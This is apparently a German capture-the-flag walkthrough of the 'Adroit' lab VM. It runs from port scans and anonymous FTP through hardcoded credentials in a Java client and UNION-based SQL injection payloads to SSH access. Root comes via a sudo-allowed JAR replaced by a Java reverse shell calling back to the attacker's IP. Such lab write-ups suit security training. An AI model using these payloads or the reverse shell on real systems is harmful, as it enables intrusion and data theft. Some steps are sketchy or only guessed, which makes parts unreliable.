Analyse: Der `arp-scan -l` Befehl wird genutzt, um aktive Geräte im lokalen Netzwerksegment durch ARP-Anfragen zu identifizieren.
Bewertung: Ein Host mit der IP 192.168.2.156 und der MAC `08:00:27:db:60:f5` (PCS Systemtechnik GmbH / VirtualBox) wird gefunden. Dies ist das Ziel "Adroit".
Empfehlung (Pentester): Notieren Sie die IP 192.168.2.156. Führen Sie einen detaillierten Portscan auf diese IP durch.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.
Currently scanning: Finished! | Screen View: Unique Hosts
15 Captured ARP Req/Rep packets, from 7 hosts. Total size: 900
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.156 08:00:27:db:60:f5 1 60 PCS Systemtechnik GmbH
_____________________________________________________________________________
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf die Ziel-IP 192.168.2.156 durchgeführt, um offene Ports, Dienste, Versionen und Betriebssystemdetails zu ermitteln.
Bewertung: Der Scan identifiziert mehrere offene Ports:
Empfehlung (Pentester):
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:42 CEST Nmap scan report for hack.hmv (192.168.2.156) Host is up (0.00013s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 pub | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.153 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 d232820f8248cdc233a2a27209c52891 (RSA) | 256 4e8a9a49b923c2cdac894f44b20b0bdb (ECDSA) |_ 256 328882fc8479981db2279626965a686b (ED25519) 3000/tcp open ppp? 3306/tcp open mysql MySQL (unauthorized) 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" |_ HY000 [...] (Unrecognized service fingerprint for 33060) MAC Address: 08:00:27:DB:60:F5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms hack.hmv (192.168.2.156) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
Analyse: Es wird eine FTP-Verbindung zum Zielserver hergestellt. Der Benutzer `Anonymous` wird für den Login verwendet.
Bewertung: Der anonyme Login ist erfolgreich (`230 Login successful.`). Im Hauptverzeichnis befindet sich nur das Verzeichnis `pub`. Im `pub`-Verzeichnis werden drei Dateien gefunden: `adroitclient.jar`, `note.txt` und `structure.PNG`. Alle drei Dateien werden erfolgreich heruntergeladen.
Empfehlung (Pentester): Analysieren Sie die heruntergeladenen Dateien:
Connected to 192.168.2.156. 220 (vsFTPd 3.0.3) Name (192.168.2.156:cyber): Anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||45358|) 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Jan 14 2021 . drwxr-xr-x 3 ftp ftp 4096 Jan 14 2021 .. drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 pub 226 Directory send OK. ftp> cd pub 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||41701|) 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 . drwxr-xr-x 3 ftp ftp 4096 Jan 14 2021 .. -rw-r--r-- 1 ftp ftp 5451 Jan 14 2021 adroitclient.jar -rw-r--r-- 1 ftp ftp 229 Mar 19 2021 note.txt -rw-r--r-- 1 ftp ftp 36430 Jan 14 2021 structure.PNG 226 Directory send OK. ftp> get adroitclient.jar local: adroitclient.jar remote: adroitclient.jar 229 Entering Extended Passive Mode (|||47710|) 150 Opening BINARY mode data connection for adroitclient.jar (5451 bytes). 100% |*************************************************************************| 5451 306.44 KiB/s 00:00 ETA 226 Transfer complete. 5451 bytes received in 00:00 (301.56 KiB/s) ftp> get note.txt local: note.txt remote: note.txt 229 Entering Extended Passive Mode (|||48684|) 150 Opening BINARY mode data connection for note.txt (229 bytes). 100% |*************************************************************************| 229 18.94 KiB/s 00:00 ETA 226 Transfer complete. 229 bytes received in 00:00 (18.61 KiB/s) ftp> get structure.PNG local: structure.PNG remote: structure.PNG 229 Entering Extended Passive Mode (|||49924|) 150 Opening BINARY mode data connection for structure.PNG (36430 bytes). 100% |*************************************************************************| 36430 3.14 MiB/s 00:00 ETA 226 Transfer complete. 36430 bytes received in 00:00 (3.08 MiB/s) [...] ftp> exit 221 Goodbye.
Analyse: Der Inhalt der heruntergeladenen Datei `note.txt` wird angezeigt.
Bewertung: Die Notiz stammt von einem "Junior-Entwickler", der eine "Java Socket App" erstellt hat, um Ideen zu speichern. Wichtige Hinweise:
Empfehlung (Pentester): Behalten Sie den Hinweis "0 -> O" im Gedächtnis, wenn Sie Passwörter oder Schlüssel aus der Java-Anwendung extrahieren. Bereiten Sie sich darauf vor, dass Exploits möglicherweise schnell ausgeführt werden müssen, bevor der Server neu startet. Konzentrieren Sie sich auf die Analyse der `adroitclient.jar`.
Empfehlung (Admin): Hinterlassen Sie keine potenziell nützlichen Hinweise für Angreifer in öffentlich zugänglichen Dateien. Implementieren Sie robustere Neustartmechanismen statt einfacher zeitbasierter Restarts.
Hi, i am a junior developer and i am pro with cyber security.
Also i am a writer and i created a java socket app to save my ideas.
PS :
if you break something the server will restart within a minute.
Also, one 0 is not 0 but O
Analyse: Auszüge aus dem dekompilierten Code der `adroitclient.jar` (vermutlich mit `jd-gui` analysiert) werden gezeigt. Der Code offenbart einen hartkodierten Secret Key und Zugangsdaten.
Bewertung: Kritische Informationen im Quellcode:
Empfehlung (Pentester):
# Auszüge aus der Dekompilation von adroitclient.jar (z.B. mit jd-gui) public class AdroitClient { private static final String secret = "Sup3rS3cur3Dr0it"; // Beachte Hinweis: 0 -> O? static ObjectOutputStream os; static ObjectInputStream is; static Socket socket; public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException { Crypto crypt = new Crypto(); try { socket = new Socket("adroit.local", 3000); os = new ObjectOutputStream(socket.getOutputStream()); is = new ObjectInputStream(socket.getInputStream()); R request = new R(); // Vermutlich die Request-Klasse Scanner scanner = new Scanner(System.in); System.out.println("Enter the username : "); String userName = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine()); // Verwendet Secret mit 0 System.out.println("Enter the password : "); String password = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine()); // Verwendet Secret mit 0 if (userName.equals(crypt.encrypt("Sup3rS3cur3Dr0it", "zeus")) && password.equals(crypt.encrypt("Sup3rS3cur3Dr0it", "god.thunder.olympus"))) { request.setUsername(userName); request.setPassword(password); System.out.println("Options [ post | get ] : "); String option = scanner.next(); scanner.nextLine(); if (option.toLowerCase().equals("post")) { request.setOption("post"); System.out.println("Enter your phrase identifier : "); String id = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine()); System.out.println("Enter your phrase : "); String phrase = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine()); request.setId(id); request.setPhrase(phrase); } // [...] Rest der Logik für 'get' und Senden/Empfangen } else { System.out.println("Wrong username or password"); } } // [...] try/catch/finally Blöcke } }
Analyse: Die `/etc/hosts`-Datei wird bearbeitet, um `adroit.local` auf die IP des Zielsystems zu mappen. Anschließend wird der Java-Client gestartet. Ein erster Login-Versuch mit `zeus`:`Sup3rS3cur3DrOit` (mit O statt 0, gemäß Hinweis) schlägt fehl.
Bewertung: Der `UnknownHostException`-Fehler vor der `/etc/hosts`-Änderung ist erwartet. Der fehlgeschlagene Login-Versuch nach der Änderung deutet darauf hin, dass entweder der Benutzername/Passwort falsch ist oder der Hinweis `0 -> O` hier nicht zutrifft oder falsch interpretiert wurde. Es ist wahrscheinlicher, dass das Passwort `god.thunder.olympus` ist, wie im Code gefunden.
Empfehlung (Pentester): Versuchen Sie den Login erneut mit den im Code gefundenen Zugangsdaten: `zeus` und `god.thunder.olympus`.
Empfehlung (Admin): Vermeiden Sie interne Hostnamen oder stellen Sie sicher, dass sie nicht leicht erraten oder aus Anwendungen extrahiert werden können.
# Hinzugefügte Zeile: 192.168.2.156 adroit.local
java.net.UnknownHostException: adroit.local
at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:229)
[...]
at adroit.AdroitClient.main(AdroitClient.java:34)
Enter the username : zeus Enter the password : Sup3rS3cur3DrOit # Passwort mit O statt 0 versucht Wrong username or password
Analyse: Der Java-Client wird erneut gestartet, diesmal mit den korrekten Zugangsdaten (`zeus`:`god.thunder.olympus`). Der Login ist erfolgreich. Die Option `get` wird gewählt, und als Identifier wird der (vermutlich korrigierte) Secret Key `Sup3rS3cur3DrOit` eingegeben.
Bewertung: Der Login funktioniert. Die Eingabe des Secret Keys als Identifier führt jedoch wahrscheinlich zu keiner sinnvollen Ausgabe oder einem Fehler auf Serverseite, da hier vermutlich eine ID oder ein Suchbegriff erwartet wird, nicht der Schlüssel selbst. Die Anwendung scheint die Eingabe für den Identifier ebenfalls mit dem Secret zu verschlüsseln, bevor sie gesendet wird.
Empfehlung (Pentester): Experimentieren Sie mit der `get`-Funktion. Versuchen Sie, einfache IDs (z.B. `1`, `0`, `test`) einzugeben. Da die Anwendung wahrscheinlich SQL auf Serverseite verwendet, testen Sie auf SQL-Injection im "phrase identifier"-Feld.
Empfehlung (Admin): Implementieren Sie serverseitige Validierung und Eingabebereinigung für alle vom Client empfangenen Daten. Vermeiden Sie es, Secret Keys als Identifier zu verwenden.
Enter the username : zeus Enter the password : god.thunder.olympus Options [ post | get ] : get Enter the phrase identifier : Sup3rS3cur3DrOit # Secret Key als ID versucht [Keine sinnvolle Ausgabe oder Fehler erwartet]
Analyse: Es wird eine SQL-Injection im Feld "phrase identifier" versucht. Der Payload `1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--` wird eingegeben. Das `NULL` wird verwendet, da die ursprüngliche Abfrage wahrscheinlich zwei Spalten zurückgibt. `concat()` wandelt den Schemanamen in einen String um. `--` kommentiert den Rest der ursprünglichen SQL-Abfrage aus.
Bewertung: SQL-Injection erfolgreich! Die Anwendung ist anfällig. Die Ausgabe zeigt die Namen der Datenbanken auf dem Server: `mysql`, `information_schema`, `performance_schema`, `sys` (Standard-MySQL-Datenbanken) und `adroit` (die Anwendungsdatenbank).
Empfehlung (Pentester): Nutzen Sie die SQLi weiter, um Tabellen (`information_schema.TABLES`), Spalten (`information_schema.COLUMNS`) und schließlich Daten (insbesondere aus der `adroit`-Datenbank) zu extrahieren. Konzentrieren Sie sich auf Benutzertabellen (`users`).
Empfehlung (Admin): Beheben Sie die SQL-Injection-Schwachstelle dringend, indem Sie Prepared Statements oder eine ordnungsgemäße Escaping-Funktion für alle Benutzereingaben verwenden, die in Datenbankabfragen einfließen. Beschränken Sie die Berechtigungen des Datenbankbenutzers, den die Java-Anwendung verwendet.
Enter the username : zeus Enter the password : god.thunder.olympus Options [ post | get ] : get Enter the phrase identifier : 1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata-- mysql information_schema performance_schema sys adroit
Analyse: Die SQL-Injection wird genutzt, um die Tabellennamen aus der Datenbank `adroit` zu extrahieren.
Bewertung: Zwei Tabellen werden gefunden: `ideas` und `users`. Die `users`-Tabelle ist das primäre Ziel.
Empfehlung (Pentester): Extrahieren Sie als Nächstes die Spaltennamen der `users`-Tabelle.
Empfehlung (Admin): (Siehe vorherige SQLi-Empfehlung).
Enter the username : zeus Enter the password : god.thunder.olympus Options [ post | get ] : get Enter the phrase identifier : 1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='adroit'-- ideas users
Analyse: Die SQL-Injection wird genutzt, um die Spaltennamen der Tabelle `users` zu extrahieren.
Bewertung: Die relevanten Spalten sind `id`, `password` und `username`. Weitere Spalten (`CURRENT_CONNECTIONS` etc.) scheinen MySQL-Statusinformationen zu sein, die möglicherweise durch ein `JOIN` oder eine fehlerhafte Abfrage hereinkommen.
Empfehlung (Pentester): Extrahieren Sie nun die Daten (insbesondere `username` und `password`) aus der `users`-Tabelle.
Empfehlung (Admin): (Siehe vorherige SQLi-Empfehlung).
Enter the username : zeus Enter the password : god.thunder.olympus Options [ post | get ] : get Enter the phrase identifier : 1 UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='users'-- id password username CURRENT_CONNECTIONS TOTAL_CONNECTIONS USER
Analyse: Die SQL-Injection wird genutzt, um die `id`, `username` und `password`-Spalten aus der `users`-Tabelle zu extrahieren. `0x20` ist der Hex-Code für ein Leerzeichen, `0x0a` für einen Zeilenumbruch.
Bewertung: Ein Benutzer wird gefunden:
Empfehlung (Pentester): Verwenden Sie den Benutzernamen `writer` und das (vermutlich ermittelte) Passwort `just.write.my.ideas`, um sich per SSH anzumelden.
Empfehlung (Admin): Speichern Sie Passwörter niemals als Klartext oder einfach kodierte Hashes. Verwenden Sie starke Hashing-Algorithmen mit Salt (z.B. Argon2, bcrypt).
Enter the username : zeus Enter the password : god.thunder.olympus Options [ post | get ] : get Enter the phrase identifier : 1 UNION ALL SELECT NULL,concat(id,0x20,username,0x20,password,0x0a) FROM users-- 1000 writer l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY= :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: just.write.my.ideas # Vermutetes Klartext-Passwort ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Analyse: Es wird versucht, sich per SSH als Benutzer `writer` mit dem Passwort `just.write.my.ideas` anzumelden.
Bewertung: Login erfolgreich! Der Angreifer erhält eine Shell als Benutzer `writer` auf dem Zielsystem `adroit`. Der initiale Zugriff wurde erlangt.
Empfehlung (Pentester): Suchen Sie nach der User-Flag (oft `user.txt` oder `local.txt` im Home-Verzeichnis). Führen Sie Enumeration als `writer` durch (`sudo -l`, SUID-Binaries etc.), um Wege zur Rechteausweitung zu finden.
Empfehlung (Admin): Starke Passwörter erzwingen, SSH-Zugriff überwachen.
The authenticity of host 'adroit.hmv (192.168.2.156)' can't be established. ED25519 key fingerprint is SHA256:MjriZUEzDG3XMTvA2EyIORDspzrtXeVdMNBaKghYb2s. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'adroit.hmv' (ED25519) to the list of known hosts. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: writer@adroit.hmv's password: just.write.my.ideas :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Linux adroit 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jan 14 23:14:06 2021 from 10.0.2.15 writer@adroit:~$
Analyse: Als Benutzer `writer` wird das Home-Verzeichnis aufgelistet und die Datei `user.txt` gelesen.
Bewertung: Die User-Flag wird erfolgreich gefunden: `61de3a25161dcb2b88b5119457690c3c`.
Empfehlung (Pentester): Notieren Sie die Flag. Konzentrieren Sie sich nun auf die Rechteausweitung.
Empfehlung (Admin): Keine direkten Maßnahmen bezüglich der Flag selbst.
user.txt
61de3a25161dcb2b88b5119457690c3c
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen des Benutzers `writer` zu überprüfen.
Bewertung: Der Benutzer `writer` darf den Befehl `/usr/bin/java -jar /tmp/testingmyapp.jar` als `root` ohne Passwort (`NPASSWD`) ausführen. Dies ist ein klarer Vektor zur Rechteausweitung, da der Benutzer eine JAR-Datei im `/tmp`-Verzeichnis (auf das `writer` Schreibzugriff hat) platzieren und diese dann als Root ausführen kann.
Empfehlung (Pentester):
[sudo] password for writer: (Passwort 'just.write.my.ideas' eingegeben) Matching Defaults entries for writer on adroit: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User writer may run the following commands on adroit: (root) NOPASSWD: /usr/bin/java -jar /tmp/testingmyapp.jar
Analyse: Ein Shell-Skript (`generate-java-reverse-shell.sh`) wird von GitHub heruntergeladen und ausführbar gemacht. Dieses Skript generiert den Java-Quellcode für eine Reverse Shell und kompiliert ihn zu einer JAR-Datei.
Bewertung: Dies ist ein praktischer Weg, um den benötigten Java-Reverse-Shell-Payload zu erstellen. Das Skript generiert eine `Shell.java`-Datei (deren Inhalt kurz gezeigt wird) und kompiliert sie wahrscheinlich zu einer JAR-Datei (z.B. `shell_*.jar`). Die Ziel-IP und der Port für die Reverse Shell müssen im Skript oder im generierten Java-Code angepasst werden.
Empfehlung (Pentester):
--2022-10-18 12:21:28-- https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh
Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.109.133, ...
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371 (1.3K) [text/plain]
Saving to: ‘generate-java-reverse-shell.sh’
generate-java-reverse-shell.s 100%[===============================================>] 1.34K --.-KB/s in 0s
2022-10-18 12:21:28 (106 MB/s) - ‘generate-java-reverse-shell.sh’ saved [1371/1371]
// Generierter Java Code (Auszug) import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Shell { public static void main(String[] args) throws Exception { String host = "192.168.2.153"; // Angepasste IP int port = 9001; // Angepasster Port String cmd = "bash"; Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host, port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} }; p.destroy(); s.close(); } }
Analyse: Die durch das Skript generierte JAR-Datei (z.B. `shell_1666097179.jar`) wird in `/tmp/testingmyapp.jar` umbenannt und ausführbar gemacht.
Bewertung: Dies platziert die bösartige JAR-Datei an dem Ort, von dem aus der `sudo`-Befehl sie als Root ausführen wird.
Empfehlung (Pentester): Starten Sie den Netcat-Listener auf Port 9001 auf dem Angreifer-System (`nc -nlvp 9001`). Führen Sie dann den `sudo`-Befehl aus: `sudo -u root /usr/bin/java -jar /tmp/testingmyapp.jar`.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel. Überwachen Sie das `/tmp`-Verzeichnis.
Analyse: Der Netcat-Listener wird auf dem Angreifer-System gestartet. Auf dem Zielsystem führt der Benutzer `writer` den `sudo`-Befehl aus, der die präparierte JAR-Datei `/tmp/testingmyapp.jar` als Root startet.
Bewertung: Der Exploit ist erfolgreich! Die Java-Reverse-Shell wird als Root ausgeführt und verbindet sich zurück zum Netcat-Listener des Angreifers. Die `id`-Ausgabe (`uid=0(root) gid=0(root) groups=0(root)`) bestätigt die erlangten Root-Rechte.
Empfehlung (Pentester):
listening on [any] 9001 ...
[Keine Ausgabe auf dem Ziel, Verbindung geht zum Listener]
listening on [any] 9001 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.156] 43262
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/home/writercd /root ls
root.txtcat root.txt
017a030885f25af277dd891d0f151845